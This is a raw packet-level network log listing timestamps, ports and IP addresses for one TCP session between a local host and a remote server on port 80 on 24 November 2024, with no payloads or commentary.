Nov 24, 2024 12:05:08.676244974 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.679024935 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.679155111 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.679217100 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.681946039 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.682111025 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.682173014 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.684978008 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.685126066 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.685230017 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.688277960 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.688390970 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.688446999 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.691066980 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.691188097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.691241980 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.693635941 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.693780899 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.693830967 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.696594000 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.696743965 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.696839094 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.699496031 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.699695110 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.699748039 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.702615976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.702713966 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.702765942 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.706047058 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.706240892 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.706289053 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.709253073 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.709405899 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.709498882 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.712032080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.712167978 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.712220907 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.714598894 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.714751959 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.714807987 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.717828035 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.717942953 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.718005896 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.720665932 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.720705032 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.720758915 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.722923994 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.723042965 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.723103046 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.725881100 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.726010084 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.726064920 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.728801012 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.728923082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.728981972 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.835073948 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.835134029 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.835313082 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.836358070 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.836896896 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.836955070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.837043047 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.839555025 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.839591026 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.839623928 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.842391014 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.842500925 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.842504978 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.844856024 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.844919920 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.844949961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.847274065 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.847342968 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.847346067 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.849518061 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.849571943 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.849795103 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.852004051 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.852060080 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.852109909 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.854238987 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.854306936 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.854383945 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.856594086 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.856648922 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.856718063 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.859103918 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.859200954 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.859210014 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.861196041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.861258030 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.861319065 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.863593102 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.863646030 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.863651991 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.865966082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.866070986 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.866147041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.868546009 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.868618011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.868618011 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.873173952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.873210907 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.873229980 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.873307943 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.873357058 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.873506069 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.875713110 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.875778913 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.875859976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.877804041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.877876997 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.877964020 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.880307913 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.880378008 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.880467892 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.882570982 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.882633924 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.882720947 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.885113001 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.885148048 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.885178089 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.887396097 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.887429953 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.887449980 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.889647961 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.889697075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.889705896 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.891917944 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.891972065 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.892081976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.894278049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.894325972 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.894337893 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.896719933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.896756887 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.896779060 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.898858070 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.898924112 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.899024963 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.901101112 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.901182890 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.901237011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.903501034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.903563023 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.903655052 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.906294107 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.906352043 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.906477928 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.908394098 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.908427000 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.908449888 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.910593033 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.910628080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.910650015 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.912240028 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.912319899 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.912364006 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.914776087 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.914829016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.914844990 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.917263031 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.917380095 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.917429924 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.919228077 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.919284105 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.919367075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.921509027 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.921567917 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.921614885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.923990011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.924046993 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.924102068 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.927768946 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.927803040 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.927831888 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.929507971 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.929542065 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.929565907 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.931572914 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.931606054 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.931632042 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.933653116 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.933708906 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.933830976 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.935949087 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.936009884 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.936099052 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.938370943 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.938431025 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.938508034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.940666914 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.940732002 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.940814018 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.942908049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.942965031 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.943063021 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.945256948 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.945314884 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.945400953 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.947628021 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.947681904 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.947981119 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.949937105 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.949994087 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.950073004 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.952172041 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.952229977 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.952320099 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.954694986 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.954730034 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.954751015 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:08.956870079 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:08.956929922 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.028150082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.028202057 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.028397083 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.028886080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.029062033 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.029124022 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.030975103 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.031135082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.031189919 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.032954931 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.033135891 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.033189058 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.034905910 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.035089016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.035137892 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.037004948 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.037208080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.037259102 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.038708925 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.038749933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.038805962 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.040097952 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.040247917 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.040297985 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.043596029 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.043631077 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.043690920 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.044261932 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.044456005 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.044507027 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.046178102 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.046211958 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.046262026 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.047817945 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.048002005 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.048054934 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.049545050 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.049720049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.049774885 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.051484108 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.051537991 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.051588058 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.053118944 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.053288937 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.053339005 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.054866076 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.055046082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.055089951 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.056515932 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.056689024 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.056740046 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.058341980 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.058526993 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.058579922 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.059359074 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.059536934 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.059588909 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.061067104 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.061160088 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.061217070 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.062685966 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.062774897 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.062828064 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.064477921 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.064690113 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.064750910 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.066122055 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.066270113 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.066330910 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.067488909 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.067652941 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.067735910 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.069109917 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.069225073 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.069279909 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.070677042 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.070787907 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.070847988 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.072222948 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.072276115 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.072328091 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.073826075 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.074078083 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.074139118 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.075509071 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.075675011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.075722933 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.076911926 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.076991081 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.077042103 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.078389883 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.078571081 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.078624010 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.079902887 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.079998016 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.080049992 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.081831932 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.082103014 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.082160950 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.082977057 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.083097935 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.083162069 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.084430933 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.084570885 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.084635019 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.085966110 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.086101055 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.086159945 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.087616920 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.087670088 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.087726116 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.089046955 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.089237928 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.089304924 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.090497971 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.090688944 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.090744019 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.091976881 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.092065096 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.092118025 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.093458891 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.093620062 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.093674898 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:09.094958067 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.095089912 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:09.095143080 CET	49829	80	192.168.2.5	178.215.224.74
